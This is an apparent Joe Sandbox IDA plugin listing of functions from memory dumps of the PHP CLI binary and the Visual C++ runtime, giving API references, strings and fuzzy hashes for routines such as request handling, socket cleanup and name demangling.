Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: ConsoleTitlefreephp_error_docrefphp_win32_cp_conv_ascii_to_wphp_win32_cp_conv_to_wphp_win32_cp_conv_utf8_to_wphp_win32_cp_get_by_idphp_win32_cp_use_unicodestrncpyzend_parse_parameters
String ID: cli_set_process_title had an error: %s
API String ID: 2486298838-2934626287
Opcode ID: d19e641eb540b8d4dfba56d625536e56f8a117182d31ae46d557ef9de871f17e
Instruction ID: 15e908702d1a89747d74b8fbf3f6a17adf4ba9e6a9eff641aaba247675a69ab4
Opcode Fuzzy Hash: d19e641eb540b8d4dfba56d625536e56f8a117182d31ae46d557ef9de871f17e
Instruction Fuzzy Hash: AE415C75A0CB42C2EB14BF19A804369E3B8AB44BA4F844236DA5E437D4DF3CE466D720

Function 00007FF7498C8A60 Relevance: 22.6, APIs: 15, Instructions: 131COMMON

Download Yara Rule

APIs

shutdown.WS2_32 ref: 00007FF7498C8A72
closesocket.WS2_32 ref: 00007FF7498C8A7C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C8B46
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C8B58
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C8B6A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C8B7C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C8B8E
zend_hash_destroy@@8.PHP8TS ref: 00007FF7498C8B9B
zend_hash_destroy@@8.PHP8TS ref: 00007FF7498C8BA8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C8BBA
_close.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C8BCA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C8BDE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C8BF3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C8C32
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C8C3B

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: free$zend_hash_destroy@@8$_closeclosesocketshutdown
String ID:
API String ID: 333189319-0
Opcode ID: c8dcd6d85badb40ed42829adb42cc6458546213f88dd3f52cc9dd106571f0955
Instruction ID: ae63529b02b130b12e71ea9d83b589fb616cccc1c9819c7dd004b918d8ce7fcc
Opcode Fuzzy Hash: c8dcd6d85badb40ed42829adb42cc6458546213f88dd3f52cc9dd106571f0955
Instruction Fuzzy Hash: 06515B32A4EB4AC6EB49BF19D454678F3B8FB84B50F948136CA5E43690CF3CA4658720

Function 00007FFE1A52AC60 Relevance: 19.9, APIs: 13, Instructions: 361COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52ACB1
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52AD7A
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52ADC3
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52ADD4

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 876faa57ff79795a5c1059d9e9be40cf01e694a924f5e3fff1249e01cfdef333
Instruction ID: 45f538526a51287d51eed70034ad33f2ab5e16f951972bb90efd33f71a8a82f3
Opcode Fuzzy Hash: 876faa57ff79795a5c1059d9e9be40cf01e694a924f5e3fff1249e01cfdef333
Instruction Fuzzy Hash: BAF15B76B0CA82DAE710DFA6D4901FC37B2AB46B5CB4040B7EA4D57AA9DF38D519C340

Function 00007FFE1A522F14 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FFE1A522F71

Part of subcall function 00007FFE1A5252D0: __GetUnwindTryBlock.LIBCMT ref: 00007FFE1A525313
Part of subcall function 00007FFE1A5252D0: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FFE1A525338

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFE1A523049
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A523056
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FFE1A5232A0
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A5232CE

Part of subcall function 00007FFE1A5269C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE1A5225CE), ref: 00007FFE1A5269CE

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A523394
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFE1A5233C9

Strings

csm, xrefs: 00007FFE1A522FF2
csm, xrefs: 00007FFE1A522F8B
csm, xrefs: 00007FFE1A52306E

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: BlockFrameHandler3::Unwindabortterminate$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 4223619315-393685449
Opcode ID: cfe6cce2b906701a9ac1d76f761d88fce5f408b5b6504f1d048e98039d5fa770
Instruction ID: df57eedb2b18f377c8163f9978b82cd041bbf052d74f3d17380b75b9f72730d7
Opcode Fuzzy Hash: cfe6cce2b906701a9ac1d76f761d88fce5f408b5b6504f1d048e98039d5fa770
Instruction Fuzzy Hash: 75E16172B0CB41C6EB208BA6A4402BD77A5FB56BA8F1011B7EE4D57B66CF38E154C700

Function 00007FFE1A52E728 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 192COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBVCRUNTIME ref: 00007FFE1A52E782

Strings

`template-parameter-, xrefs: 00007FFE1A52E817
`generic-type-, xrefs: 00007FFE1A52E85E
generic-type-, xrefs: 00007FFE1A52E82B
template-parameter-, xrefs: 00007FFE1A52E7E4

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Replicator::operator[]
String ID: `generic-type-$`template-parameter-$generic-type-$template-parameter-
API String ID: 3676697650-3207858774
Opcode ID: ffe630230d3b2de6161d53b0b22072a88b75348d547415f53f7225053af77ced
Instruction ID: 591b45106095138e344485507b2978cc55f88fe61f5f24c85ca952f0847a9829
Opcode Fuzzy Hash: ffe630230d3b2de6161d53b0b22072a88b75348d547415f53f7225053af77ced
Instruction Fuzzy Hash: 28918CA2B0CE86D9FB50DB62D4402B82BA2AF96B68F4440F7DE4D036A5DF3CE505D350

Function 00007FF7498C1550 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 101COMMON

Download Yara Rule

APIs

php_register_variable.PHP8TS ref: 00007FF7498C15E5
php_register_variable.PHP8TS ref: 00007FF7498C1636
php_register_variable.PHP8TS ref: 00007FF7498C169A
php_register_variable.PHP8TS ref: 00007FF7498C16EB
php_register_variable.PHP8TS ref: 00007FF7498C173E

Strings

DOCUMENT_ROOT, xrefs: 00007FF7498C1713, 00007FF7498C1734
SCRIPT_FILENAME, xrefs: 00007FF7498C1669, 00007FF7498C1690
PATH_TRANSLATED, xrefs: 00007FF7498C16BD, 00007FF7498C16E1
SCRIPT_NAME, xrefs: 00007FF7498C1608, 00007FF7498C162C
PHP_SELF, xrefs: 00007FF7498C15B7, 00007FF7498C15DB

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: php_register_variable
String ID: DOCUMENT_ROOT$PATH_TRANSLATED$PHP_SELF$SCRIPT_FILENAME$SCRIPT_NAME
API String ID: 1046779695-3953231635
Opcode ID: ada42f3e7dc27519578163f6d10051d2743b29a48483e8c7cae096ef8e87a986
Instruction ID: bc31bd13c79feb7e921b2e9b48d0647f361a1940587dfcb1f1679ce9dc13a68c
Opcode Fuzzy Hash: ada42f3e7dc27519578163f6d10051d2743b29a48483e8c7cae096ef8e87a986
Instruction Fuzzy Hash: 77511B65A0CB46C1EB00BF09E8906B9E7B8FB89B94F804132DA5D43764DF3DD1A9D760

Function 00007FFE1A528BA0 Relevance: 16.7, APIs: 11, Instructions: 159COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A528C6B
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A528C7B
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A528CC7
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A528CD7
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A528CE7
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A528D3D
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A528D6E
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A528D9A
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A528DAC
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A528DCC
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A528DDB

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 374c7b4445af7e25337ba4d0cee41d0a88a1d907b97d00518b00ac12b1785505
Instruction ID: 9ab2d054e24aff59bfb4fb4bec6c13c37d50a69c4c1f5b36cacb7e2dd7d9ef38
Opcode Fuzzy Hash: 374c7b4445af7e25337ba4d0cee41d0a88a1d907b97d00518b00ac12b1785505
Instruction Fuzzy Hash: C7717E72B08A46DDEB11DFA2D4401FC23B2AB55B5CB4044B3EA0D67AA9DF38D619C390

Function 00007FF7498C8780 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 168COMMON

Download Yara Rule

APIs

zend_hash_str_find@@24.PHP8TS ref: 00007FF7498C8887
zend_hash_str_find@@24.PHP8TS ref: 00007FF7498C88B1
php_handle_auth_data.PHP8TS ref: 00007FF7498C88CD
php_request_startup.PHP8TS ref: 00007FF7498C88EB
php_request_shutdown.PHP8TS ref: 00007FF7498C89CC
zend_hash_index_del@@16.PHP8TS ref: 00007FF7498C8A36

Strings

content-type, xrefs: 00007FF7498C8832
%s Closing, xrefs: 00007FF7498C8A18
authorization, xrefs: 00007FF7498C88A3

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: zend_hash_str_find@@24$php_handle_auth_dataphp_request_shutdownphp_request_startupzend_hash_index_del@@16
String ID: %s Closing$authorization$content-type
API String ID: 2965644037-1119257318
Opcode ID: bf9b3a40fa26558b88888ddeca8955892530d82cb3d68c1c3a9761658ce914bd
Instruction ID: fd3a7c4d86a0543502efa9da385fda031fcf8b6dcdf1d8ed86cb4c08cd9f308b
Opcode Fuzzy Hash: bf9b3a40fa26558b88888ddeca8955892530d82cb3d68c1c3a9761658ce914bd
Instruction Fuzzy Hash: F1811876608B86C5EB50FF2AE880668B7B8FB49B84F944136CE4D47760DF38D465D320

Function 00007FFE1A52A508 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52A562
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52A698

Strings

`unknown ecsu', xrefs: 00007FFE1A52A52E
class , xrefs: 00007FFE1A52A6AD
coclass , xrefs: 00007FFE1A52A651
struct , xrefs: 00007FFE1A52A6BC
cointerface , xrefs: 00007FFE1A52A63F
union , xrefs: 00007FFE1A52A6C5
enum , xrefs: 00007FFE1A52A675

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Name::operator+
String ID: `unknown ecsu'$class $coclass $cointerface $enum $struct $union
API String ID: 2943138195-1464470183
Opcode ID: 51d946b78c79f4e17bb7b1de47df1de08bef63135b59b13d9939b22af4cdf764
Instruction ID: 86133b403355b0c0d1311da390023f3db41122a4953e115ac4847e3a3611ae9c
Opcode Fuzzy Hash: 51d946b78c79f4e17bb7b1de47df1de08bef63135b59b13d9939b22af4cdf764
Instruction Fuzzy Hash: 60513872F0CE56D9FB10CBA6E8805BC27B2BB56BA4F5000B7DA0D57A68DF38A545C700

Function 00007FF7498C3760 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

zend_wrong_parameters_none_error@@0.PHP8TS ref: 00007FF7498C3784
php_error_docref.PHP8TS ref: 00007FF7498C37FD

Strings

cli_get_process_title had an error: %s, xrefs: 00007FF7498C37EF

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: php_error_docrefzend_wrong_parameters_none_error@@0
String ID: cli_get_process_title had an error: %s
API String ID: 3457622264-425036436
Opcode ID: 7cbef4e4b1668fe422aad3086d59e105fea91ece5a33d3294b48c7803938a870
Instruction ID: e94ea878e9ea10a014aa8f1ad8d2a101ebbb6706b44deaa530b4589d0968bf05
Opcode Fuzzy Hash: 7cbef4e4b1668fe422aad3086d59e105fea91ece5a33d3294b48c7803938a870
Instruction Fuzzy Hash: CC312A75A0CB82C1EB20BF18E8643A9A3B8FB84794F844136DA5E47791DF3CE465C760

Function 00007FF7498C2D80 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

zend_str_tolower_dup@@16.PHP8TS ref: 00007FF7498C2DA0
zend_hash_str_find@@24.PHP8TS ref: 00007FF7498C2DB6
php_info_print_module.PHP8TS ref: 00007FF7498C2DC9
_efree@@8.PHP8TS ref: 00007FF7498C2DD7
display_ini_entries.PHP8TS ref: 00007FF7498C2E06
_efree@@8.PHP8TS ref: 00007FF7498C2E14
_efree@@8.PHP8TS ref: 00007FF7498C2E5A

Strings

main, xrefs: 00007FF7498C2DE4
Extension '%s' not present., xrefs: 00007FF7498C2E26

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: _efree@@8$display_ini_entriesphp_info_print_modulezend_hash_str_find@@24zend_str_tolower_dup@@16
String ID: Extension '%s' not present.$main
API String ID: 2523902372-211226541
Opcode ID: b8d7647889f9b8911d59a433c18f609a5212de7f8b06cb14be5246b235cb249a
Instruction ID: 57a4e292fdc2ec25a3983aa89988e712048a114411869d92536c15329171f1d0
Opcode Fuzzy Hash: b8d7647889f9b8911d59a433c18f609a5212de7f8b06cb14be5246b235cb249a
Instruction Fuzzy Hash: CC210925A0CB46C5EB04BF1AA858638A778FB45FA0F844535EA5F037E0CF6CE024E320

Function 00007FF7498C4920 Relevance: 15.2, APIs: 10, Instructions: 161COMMON

Download Yara Rule

APIs

smart_str_erealloc@@16.PHP8TS ref: 00007FF7498C49B0
memmove.VCRUNTIME140 ref: 00007FF7498C49CB
smart_str_erealloc@@16.PHP8TS ref: 00007FF7498C49F5
zend_llist_get_first_ex.PHP8TS ref: 00007FF7498C4A47
smart_str_erealloc@@16.PHP8TS ref: 00007FF7498C4A90
memmove.VCRUNTIME140 ref: 00007FF7498C4AAB
smart_str_erealloc@@16.PHP8TS ref: 00007FF7498C4AD5
zend_llist_get_next_ex.PHP8TS ref: 00007FF7498C4AFE
smart_str_erealloc@@16.PHP8TS ref: 00007FF7498C4B3A
_efree@@8.PHP8TS ref: 00007FF7498C4B88

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: smart_str_erealloc@@16$memmove$_efree@@8zend_llist_get_first_exzend_llist_get_next_ex
String ID:
API String ID: 2789854044-0
Opcode ID: 08841c7943f8cd41d91fa539a54312558400a74df2f2ae6823b4dd64f9e22be0
Instruction ID: e146faba28800e6f543e5d7f5309cb3ac7c8784d7b956ce7835b486cb560f576
Opcode Fuzzy Hash: 08841c7943f8cd41d91fa539a54312558400a74df2f2ae6823b4dd64f9e22be0
Instruction Fuzzy Hash: 54715B66B18B54C5EF00AF6AD8402ADA3B5FB48FD8B844522CE1D57B98DF3CD4A1C320

Function 00007FFE1A5233E0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFE1A52357E
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A52358B

Part of subcall function 00007FFE1A5269C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE1A5225CE), ref: 00007FFE1A5269CE

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A523839
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A523884
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFE1A5238B9

Strings

csm, xrefs: 00007FFE1A5235A7
csm, xrefs: 00007FFE1A523527
csm, xrefs: 00007FFE1A5234C5

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: abortterminate$Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 211107550-393685449
Opcode ID: 2d839ff92fc702e036e90624670e50b4b038d53a36dae6cd485ed0c05d9b95aa
Instruction ID: 17b815fbf543afea3dc12d376fe74938a2e556c5a25e571f811e165c4c7cdf78
Opcode Fuzzy Hash: 2d839ff92fc702e036e90624670e50b4b038d53a36dae6cd485ed0c05d9b95aa
Instruction Fuzzy Hash: 68E1A473B0CA81CAE7109FA6D4842BD7BA1FB46B68F1401B7DA8D47666CF38E585C740

Function 00007FFE1A52C1F8 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 111COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52C3AC

Part of subcall function 00007FFE1A528F04: DName::operator+.LIBVCRUNTIME ref: 00007FFE1A529475
Part of subcall function 00007FFE1A528F04: DName::operator+.LIBVCRUNTIME ref: 00007FFE1A5294AA

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52C35E

Strings

cli::array<, xrefs: 00007FFE1A52C32B
std::nullptr_t, xrefs: 00007FFE1A52C2D7
std::nullptr_t , xrefs: 00007FFE1A52C2EA
void, xrefs: 00007FFE1A52C242
void , xrefs: 00007FFE1A52C26A
cli::pin_ptr<, xrefs: 00007FFE1A52C375

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 2943138195-2239912363
Opcode ID: ea02cf8ce8bf4896aceb1c373d4fd9d14f74077d5493258d274ba5c53a618762
Instruction ID: dd31377407b818b068fa2a7aebab5e531e54b033f3f60a7b204808424e499e87
Opcode Fuzzy Hash: ea02cf8ce8bf4896aceb1c373d4fd9d14f74077d5493258d274ba5c53a618762
Instruction Fuzzy Hash: 6C512862F0CF55C8FB118BE2E8412BD37A1BB5AB68F4445B7DA4D12A66DF3CA084C750

Function 00007FF7498C7370 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 78networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF7498C73BD
WSAGetLastError.WS2_32 ref: 00007FF7498C73C7

Strings

Unsupported SSL request, xrefs: 00007FF7498C7478
Malformed HTTP request, xrefs: 00007FF7498C746D
Unexpected EOF, xrefs: 00007FF7498C740D

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: ErrorLastrecv
String ID: Malformed HTTP request$Unexpected EOF$Unsupported SSL request
API String ID: 2514157807-902952500
Opcode ID: 4d9386135119999a0d3d95b8fabd9d6d67a7a8c502ed60cfec4768d0dc0ec939
Instruction ID: cfdf3e69b32ed4c2f83aced5bc4472fb5d14b75a3f2ad4324c7a4602e085be9a
Opcode Fuzzy Hash: 4d9386135119999a0d3d95b8fabd9d6d67a7a8c502ed60cfec4768d0dc0ec939
Instruction Fuzzy Hash: BA317A21A1CB82D1FB20BF29A8046A9B7B8EB85754FC00135D69D82A90DF2CE5A5C720

Function 00007FFE1A5261AA Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE1A526690: RtlPcToFileHeader.KERNEL32 ref: 00007FFE1A5266D4
Part of subcall function 00007FFE1A526690: RaiseException.KERNEL32 ref: 00007FFE1A52671A

RtlPcToFileHeader.KERNEL32 ref: 00007FFE1A526247
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00007FFE1A5262A3

Strings

Bad dynamic_cast!, xrefs: 00007FFE1A526312
Access violation - no RTTI data!, xrefs: 00007FFE1A5261AA, 00007FFE1A5263CB
